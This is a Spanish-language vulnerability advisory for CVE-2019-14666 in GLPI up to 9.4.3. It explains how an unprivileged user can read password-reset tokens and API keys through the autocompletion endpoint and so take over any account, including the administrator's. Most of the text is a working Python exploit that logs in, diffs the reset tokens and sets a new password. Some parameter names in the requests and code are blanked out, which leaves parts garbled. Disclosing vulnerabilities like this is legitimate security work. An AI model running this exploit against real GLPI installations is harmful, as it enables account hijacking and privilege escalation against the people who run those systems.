Vulnerabilidad en GLPI: Account takeover (CVE-2019-14666)

Sofware: GLPI
Version: <= 9.4.3 Descubierto por: Pablo Martinez (@Xassiz)
Parche: version 9.4.4

Vulnerabilidad en GPLI (CVE-2019-14666)

Descripción de la vulnerabilidad en GLPI

Se ha identificado que es posible abusar de la funcionalidad de autocompletado para obener datos sensibles de cualquier usuario haciendo uso de una cuenta no privilegiada.
Además de las cookies de sesión con hash o las claves API en texto claro, un usuario malintencionado puede recuperar el atributo password_forget_token que permite tomar el control de la la cuenta cuando la función «recuperar contraseña» está activada.

Los pasos para reproducir la vulnerabilidad son los siguientes:
1. Elegir un email conocido o escoger uno de la lista de autocompletado
GET /glpi/ajax/autocompletion.php?=UserEmail&field=email&term=

2. Obtener una lista de todos los tokens generados
GET /glpi/ajax/autocompletion.php?=User&field=password_forget_token&term=

3. Invocar la funcionalidad de recuperar contraseña con el email seleccionado
4. Obtener nuevamente una lista de todos los tokens generados y ver la diferencias en busca del nuevo token

5. Establecer la contraseña del usuario usando /glpi/front/lostpassword.php?password_forget_token=[token]

En resumen, un usuario no privilegiado puede robar cualquier cuenta y escalar privilegios cambiando la contraseña del usuario administrador. Es posible también robar las claves de la API y hacer uso de ellas con fines maliciosos

GLPI Exploit for CVE-2019-14666

Prueba de concepto:

#!/usr/bin/python
#
#  Description: Exploit for CVE-2019-14666 (GLPI <=9.4.3 account takeover)
#  Author: @xassiz (Tarlogic)
#
import re
import sys
import json
import argparse
import requests
class GlpiBrowser:
    def __init__(self, url, user, password):
        self.url = url
        self.user = user
        self.password = password
        
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
    
    
    def extract_csrf(self, html):
        return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)
        
        csrf_token = self.extract_csrf(r.text)
        name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
        pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
        
        return name_field, pass_field, csrf_token
    
    
    def login(self):
        try:
            name_field, pass_field, csrf_token = self.get_login_data()
        except Exception as e:
            print "[-] Login error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            name_field: self.user, 
            pass_field: self.password,
            "auth": "local",
            "submit": "Post",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
        
        return r.status_code == 302
    
    
    def get_data(self, , field, term=None):        
        params = {
            "": ,
            "field": field,
            "term": term if term else ""
        }
        
        r = self.session.get('{}/ajax/autocompletion.php'.format(self.url), params=params)
        
        if r.status_code == 200:
            try:
                data = json.loads(r.text)
            except:
                return None
            return data
        return None
        
    
    def get_forget_token(self):
        return self.get_data('User', 'password_forget_token')
    
    
    def get_emails(self):
        return self.get_data('UserEmail', 'email')
    
    
    def lost_password_request(self, email):
        r = self.session.get('{0}/front/lostpassword.php'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Lost password error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            "email": email,
            "update": "Save",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data)
        return 'An email has been sent' in r.text
    
    
    def change_password(self, email, password, token):
        r = self.session.get('{0}/front/lostpassword.php'.format(self.url), params={'password_forget_token': token})
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Change password error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            "email": email,
            "password": password,
            "password2": password,
            "password_forget_token": token,
            "update": "Save",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data)
        return 'Reset password successful' in r.text
    
    
    def pwn(self, email, password):
        
        if not self.login():
            print "[-] Login error"
            return
        
        tokens = self.get_forget_token()
        if tokens is None:
            tokens = []
        
        if email:
            if not self.lost_password_request(email):
                print "[-] Lost password error: could not request"
                return
            
            new_tokens = self.get_forget_token()
            
            res = list(set(new_tokens) - set(tokens))
            if res:
                for token in res:
                    if self.change_password(email, password, token):
                        print "[+] Password changed! ;)"
                        return
        
        
        
if __name__ == '__main__':
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL", required=True)
    parser.add_argument("--user", help="Username", required=True)
    parser.add_argument("--password", help="Password", required=True)
    parser.add_argument("--email", help="Target email")
    parser.add_argument("--newpass", help="New password")
    
    args = parser.parse_args()
    
    g = GlpiBrowser(args.url, user=args.user, password=args.password)
    
    g.pwn(args.email, args.newpass)

Discover our work and cybersecurity services.